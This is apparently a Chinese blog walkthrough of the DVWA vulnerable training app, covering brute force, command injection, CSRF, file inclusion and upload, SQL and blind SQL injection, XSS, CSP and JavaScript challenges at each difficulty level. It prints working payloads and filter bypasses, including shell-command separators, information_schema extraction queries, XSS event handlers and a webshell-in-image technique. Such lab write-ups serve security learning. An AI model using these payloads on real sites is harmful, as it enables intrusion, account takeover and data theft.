DVWA靶场通关记录

1.Brute Force

low

这个难度我们可以直接用burp抓包爆破,这里我们假装知道用户名为admin然后去爆破密码(只是少了一遍重复过程)。

然后我们输入用户名和随便输个密码,接下来用burp抓包,,然后发送到intruer, 

我们然后选定要爆破的区域(密码),然后设置字典和线程接着就该开始爆破了,然后我们就能找到密码了就是password

medium

这一关的方法和low的基本一样,但这一关和low的区别在于下图,所以方法不变。

 high 

high难度和前两个的区别是sleep(rand(0,3))函数随机休眠0到3秒,且增加了token值

一、什么是Token?
Token,也称为“令牌”,是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码。比如如下形式:39faf62271944fe48c4f1d69be71bc9a
二、为什么使用Token
传统验证用户身份的方式,大多为基于服务器验证的方式,即cookie+session的方式,由于HTTP协议是无状态的,导致程序需要验证每一次请求,从而辨别客户端的身份。
用户登录成功将其信息存入session中,用户每次请求都会将携带session id的cookie一起发送器服务端,进行校验,随着Web、应用程序、以及移动端的崛起,这种验证方式弊端逐渐显现,尤其是在可扩展性方面。
引发的问题比如用户增多导致内存开销较大、CORS(跨域资源共享)以及CSRF(跨站请求伪造)等。
引入Token验证机制后,请求会发送token而不再是发送cookie能有效够防止CSRF,即使在客户端使用cookie存储token,但cookie也只有存储功能,而不再具备验证功能,因此安全性得到了极大的提高。
而且只要token设计的足够复杂,除非用户泄露,否则几乎没有被破解的可能,加上token是有时效的,在有限的时间加上有限的算力,更是无懈可击,这也类似于加密资产比如比特币钱包对应的私钥,安全性极高。
 

所以方法肯定是不同于前两个,但第一步都一样都需要抓包发送到inturder

这一关我们需要在intruder的option选项设置token

  

我们首先勾选上面的选项框,然后点击add 

之后点击refetch response接下来在底下寻找token值 

然后选中,之后就和前面的方法一样。

2.Command Injection 

low 

这里要我们输入IP地址,我们输入127.0.0.1后,发现出现乱码 

我们在文件夹中找到并打开dvwaPage.ini.php文件,然后ctrl+f,查找utf-8,将UTF-8改为GBK或者GB2312。

再次输入127.0.0.1,发现不报乱码了。 

从题目中看出,给一个IP并调用ping命令。那么我就可以在输入的时候带上一些字符,被带进终端中,从而被执行。

输入127.0.0.1 | dir

medium

 这里过滤了&&和;符号,但我们可以用别的符号绕过。这里我用&

输入:127.0.0.1 & dir

high 

 ‘

这里可以看到他过滤掉了更多符号,但是中间有一个符号是 ’| ‘而不是’|‘,说明单独的|可用,同样的方法就绕过了。

3.Cross Site Request Forgery (CSRF)

low

这里让我们更改管理员密码。

分析源码可知它只对传入的密码和确认密码进行比较,两者一致则执行更改密码命令成功返回Password Change,不一致则返回Passwords did not match,没有任何过滤,所以能轻易执行csrf漏洞。所以我们先按它要求改一下密码。

这就意味着我可以通过控制url栏里传入的参数,来在网站内执行更改密码的操作

再url栏中输入上述语句

medium

这一关会检查你的请求前的网站,就是referer。

这里我们需要构造一个页面,里面放一个a标签,链接为更改密码的url,当受害者点击时就会触发更改密码的操作,我们只需要把这个html页面的位置放在和网站同一个目录下,即在自己的电脑上构造一个访问目标网站域名的html文件

设计a标签
设计的url:http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#

将做好的页面放在\DVWA\vulnerabilities文件夹中,打开html页面,点击a标签,触发攻击。

攻击完成

high

可以看到比先前多了token值的校验

每次登录都会校验token是否正确,若想要执行更改密码操作必须知道正常用户的token,获得用户token的方式有两种:

1.构造一个页面让用户点击,点击之后偷偷的读取用户登录网站的token,把token加到自己构造的更改密码的表单上做让用户点击完成攻击,但由于同源策略,一半无法获得token,也有解决方法,但那个更繁琐,这里不赘述了。
2.如果用户网站上刚好有存储型漏洞,可以利用存储型漏洞与csrf漏洞配合,即通过存储型漏洞获得token再利用csrf漏洞结合拿到的token完成攻击。

这个难度已经很难绕过了,所以我只能假设获得了token,而将token拼接到medium等级的表单中完成攻击获得的token:20f07053354bf93a94e3bb45e2923312

在原来的表单中将token进行拼接

当网站添加了token验证时这个网站就已经很不好绕过了,所以最好的防护csrf的方法也是网站执行操作时添加token

4.File Inclusion

这一关要让我们将文件显示在页面上

low

刚开始会显示我们的allow_url_include 没有开启,我们可以在配置里面开启

allow_url_include参数表示可以远程利用文件包含漏洞

然后看源代码,没有任何阻碍, 

medium

这一关过滤掉了,http(s):// ,但我们可以传入htthttp://p://127.0.0.1/1.txt

high

 这一关会使用fnmatch()函数对page参数进行过滤,要求page必须以“file”开头,服务器才会包含相应的文件。 可利用file协议进行读文件

5.File Upload

首先准备一个php一句话木马文件

low

完了我们直接上传文件 

直接访问 

 medium

这一关只允许 jpeg 或者 png上传同时限制文件大小不能超过 100000B

上传一句话木马,然后抓包,将这里改为image/png

 

high 

strrpos(string , find ,start): 查找find字符在string字符中的最后一次出现的位置,start参数可选,表示指定从哪里开始
substr(string,start,length): 返回string字符中从start开始的字符串,length参数可选,表示返回字符的长度
strtolower(string): 返回给定字符串的小写
所以我们要先制作图片马
准备一张图片和一句话木马,然后使用 copy 命令把两个文件合成为一个文件
copy 1.jpg/b + 1.php/a 2.jpg
上传,使用文件包含漏洞模块中的low关, 进行加载图片,成功解析
 

6.Insecure CAPTCHA

刚开始遇到了如图所示的情况需要在配置文件中加入谷歌的密钥

$_DVWA[ 'recaptcha_public_key' ]  = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';
$_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';

low

这一关的所有源代码很长就不放了,自己查看

这个代码其实是分成两部分
一个部分是用来判断验证码的正确性,如果正确了就再返回密码的界面,这个界面就不再需要输入验证码的,按提交就可以修改密码了。这两个部分的用 form 表单的 step 字段区分。
所以可以用抓包的方法。输入新密码,然后抓包

把最后一行的1改为2 

medium

可以看到,Medium级别的代码在第二步验证时,参加了对参数passed_captcha的检查,如果参数值为true,则认为用户已经通过了验证码检查,然而用户依然可以通过伪造参数绕过验证,本质上来说,这与Low级别的验证没有任何区别。

可以通过抓包,更改step参数,增加passed_captcha参数,绕过验证码。

high 

可以看到,服务器的验证逻辑是当$resp(这里是指谷歌返回的验证结果)是false,并且参数recaptcha_response_field不等于hidd3n_valu3(或者http包头的User-Agent参数不等于reCAPTCHA)时,就认为验证码输入错误,反之则认为已经通过了验证码的检查。

搞清楚了验证逻辑,剩下就是伪造绕过了,由于$resp参数我们无法控制,所以重心放在参数recaptcha_response_field、User-Agent上。

更改参数recaptcha_response_field以及http包头的User-Agent:

7.SQL Injection

low

首先尝试这样来判断类型

完了这样报错,说明存在注入点,且为单引号闭合。 

 爆字段数

字段数为2

爆显示位 

爆数据库 

爆表名 

爆字段名 

 查询信息

medium

这个难度我们好像不能在url里传参了,但我们可以通过抓包改包来进行注入

判断是否存在 注入 

 

类型为数字型注入

剩下的过程和low大同小异

但当我们查字段时显示错误

由于MySQL默认支持16进制编解码,故对users进行16进制编码

0x75736572,剩下的就没什么不同的了

high 

判断类型,字符型,方法和low一样,就是换个页面注入,方法不变。

8.SQL Injection (Blind)

其实,这个就是在不断的进行尝试

low

猜数据库名字

1' and ascii(substr(database(),1,1))=100#       
1' and ascii(substr(database(),2,1))=118#      
1' and ascii(substr(database(),3,1))=119#        
1' and ascii(substr(database(),4,1))=97#     

猜表的个数

1' and (select  count(table_name) from information_schema.tables where table_schema='dvwa')=2#

每个表的长度

1' and length(substr((select  table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9#
1' and length(substr((select   table_name  from information_schema.tables where table_schema='dvwa' limit 1,1),1))=5#

猜表名

1' and ascii(substr((select table_name  from information_schema.tables where table_schema='dvwa' limit 0,1),1))=103#     
1' and   ascii(substr((select table_name  from information_schema.tables where table_schema='dvwa' limit 0,1),9))=107#     

最后可以得出第一个表名为guestbook

1' and ascii(substr((select table_name  from information_schema.tables where table_schema='dvwa' limit 1,1),1))=117#    

第二个表名为users

猜字段

1' and   (select  count(column_name)   from information_schema.columns where table_name='users')=8#
判断第一个字段的长度(user_id)

1' and   length(substr((select   column_name from information_schema.columns where table_name='users' limit 0,1),1))=7#
字段的名称(user_id)

1' and   ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=117#


字段值
1' and ascii(substr((select user from users limit 0,1),1,1))=97#

medium

这个和sql注入的medium难度方法一样,都是通过改包来进行注入,方法和low一样

high 

High方法还是一样,只不过增加了随机sleep()函数,时间盲注会受影响但还是可以用布尔盲注

9.Weak Session IDs

low

 

medium

和low相比,该登录模块基于时间戳生成会话

先抓包

得到时间戳

使用转换工具进行时间戳转换

然后和low一样

 high 

这次将cookie进行了md5加密不能直接得到cookie

抓包后将Cookie进行md5解密,再构造Cookie进行md5加密,即可实现会话劫持由于$cookie_value以1为间隔递增,故可获得经md5加密后得到的Cookie方法和前面的大同小异 

10.XSS(DOM)

low

观察界面,当选择不同的标签时,URL栏中的default也会发生变化,default有可能是个传参点

XSS代码:<script>alert(1)</script>

medium

这一关有stripos() 函数用来查找字符串在另一字符串中第一次出现的位置相当于过滤掉了过滤了<script 标签,

尝试一下:<img src=# οnerrοr=alert(1)>

 

没有反应,

发现输入的值在select标签里面

故闭合标签</select><img src=# οnerrοr=alert(1)>

 

high 

switch条件判断,当default传参值为其他值是 默认选择为English

2、使用锚部分弹窗

?default=English#<script>alert(1)</script>

 

11.XSS(REFLECT)

low

无论我们输入什么值,在页面中都会显示输入的信息,并且url的name传参值就是我们输入的值

2、对URL中的name传入 xss代码

<script>alert(1)</script>

medium

和low不同的是它屏蔽了 <script>

但这不是问题我们可以这样构造代码绕过

<scr<script>ipt>alert(1)</script>

high 

对<script>使用了正则表达式替代,使用事件型XSS代码

<img src=1 οnerrοr=alert(1)>

12.XSS(STORED) 

low

这一关直接输入xss代码 

 

medium

这一关将<script>屏蔽了

<scri<script>pt>alert(1)</script>

high 

代码中的 preg_replace 函数尝试匹配 <script> 标签,并将其替换为空字符串,但没什么用

使用事件型

<img src=1 οnerrοr=alert(1)>

13.CSP

low

可以看到被信任的网站有:
https://pastebin.com、example.com、code.jquery.com、https://ssl.google-analytics.com。

所以我们把恶意代码保存在 https://pastebin.com 网站,然后把链接发送给需要攻击的用户,用户点击后,达到注入目的。

这里需要说明一下,https://pastebin.com/这个网址是米国的,访问比较慢,可能不会出现弹窗,

我们进入内个页面后插入恶意代码,然后粘贴在输入框:(因为这里是后边补充的,重新生成的url,所以不一样)

 

 

medium

emmmm源码有个备注,输入试试:

<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script> 

这段 PHP 代码的目的是测试用户的跨站脚本(XSS)攻击能力。它首先设置了一个 Content Security Policy (CSP) 头部,允许从同源('self')和内联脚本('unsafe-inline')加载脚本,并使用一个 nonce 来增加安全性。然后,它禁用了 XSS 保护,以便内联的 alert 框可以正常工作。
代码中的注释部分包含一个尝试插入一个 alert(1) 的脚本的示例,但是它被注释掉了,所以不会执行。
然后,代码检查是否存在一个 POST 请求的 'include' 参数。如果存在,它将该参数添加到 'body' 数组中,这意味着它将直接将用户输入的内容插入到页面中。
最后,代码包含一个表单,用户可以在其中输入要插入到页面的内容,并提交表单。如果用户能够输入并提交一个有效的脚本,它将在页面上执行,例如显示一个 alert 框。
其中:
unsafe-inline:允许使用内联资源,如内联 <script> 元素:javascript:URL,内联事件处理程序(如onclick)和内联 <style> 元素,必须包括单引号。
nonce-source:仅允许特定的内联脚本块, nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=" 

high 

源码太多了,不放了,自己查看

代码依次分析:

点击按钮,js创建一个script标签
src指向source/jsonp.php?callback=solveNum
appendChild(s)函数又将source/jsonp.php?callback=solveNum加入到DOM中
源码定义了一个solveNum函数,利用obj传参,若answer在obj中将会被执行
document对象可以访问HTML中的内容
getElementById(id)可返回对拥有指定 ID 的第一个对象的引用
innerHTML 属性设置或返回表格行的开始和结束标签之间的 HTML
这里的 script 标签会把远程加载的 solveSum({“answer”:“15”}) 当作 js 代码执行, 然后这个函数就会在页面显示答案

因此我们可以通过这个参数进行注入。

include=<script src="source/jsonp.php?callback=alert('xss');"></script>

14.JavaScript Attacks

low

直接提交后显示需要token

查看源代码后发现需要rot13加密和md5加密

 那么直接给success进行rot13加密,而后md5加密,再给hidden传值

 

我们抓包,将token改成这个东西

 

medium

首先输入succee之后抓包看看,现在的token是XXChangeMeXX倒过来 

现在的 token 是 “XXChangMeXX” 的反转

控制台运行下 do_elsesomething("XX") 函数,再次注入 “success” 即可

high

 

 这个源码让人看的有点晕,

使用还原工具得到还原后的关键代码如下

function do_something(e) {
    for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
    return t
}
function token_part_3(t, y = "ZZ") {
    document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
    document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
    document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
    token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);

方法

由于执行token_part_2("XX") 有 300 毫秒延时,所以 token_part_1("ABCD", 44) 会被先执行,而 token_part_3() 则是和提交按钮的click事件一起执行。

输入框输入success,控制台依次执行 token_part_1("ABCD", 44) 和 token_part_2("XX"),最后点击提交执行token_part_3()

 

15.Authorisation Bypass(不会,求教)

low

medium

high 

16.Open HTTP Redirect

low

 

由于源码没有对重定向参数传递进行任何过滤 

因此可构造Payload如下:

low.php?redirect=网页URL

medium

该源码防止了绝对 URL 的重定向 我们要上传一个redirect.php的文件,利用文件上传漏洞,上传文件。并且访问就成功了。

<?php
header("Location: http://www.baidu.com");
exit;
?>

high 

首先检查 $_GET 数组中是否存在名为 “redirect” 的参数,并且该参数的值是一个数字。如果满足这个条件,脚本会根据指定的值设置不同的重定向目标。

如果 “redirect” 的值是 1,脚本将重定向到 info.php?id=1。
如果 “redirect” 的值是 2,脚本将重定向到 info.php?id=2。
如果 “redirect” 的值是 99,脚本将重定向到 https://digi.ninja。
如果成功设置了目标 URL,脚本会使用 header() 函数进行重定向,并使用 exit 终止脚本的执行。
如果未能设置目标 URL,则显示 “Unknown redirect target.” 的消息,并终止脚本的执行。
如果没有指定重定向目标,则显示 “Missing redirect target.” 的消息,并终止脚本的执行。

high.php?redirect=https//www.baidu.com

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值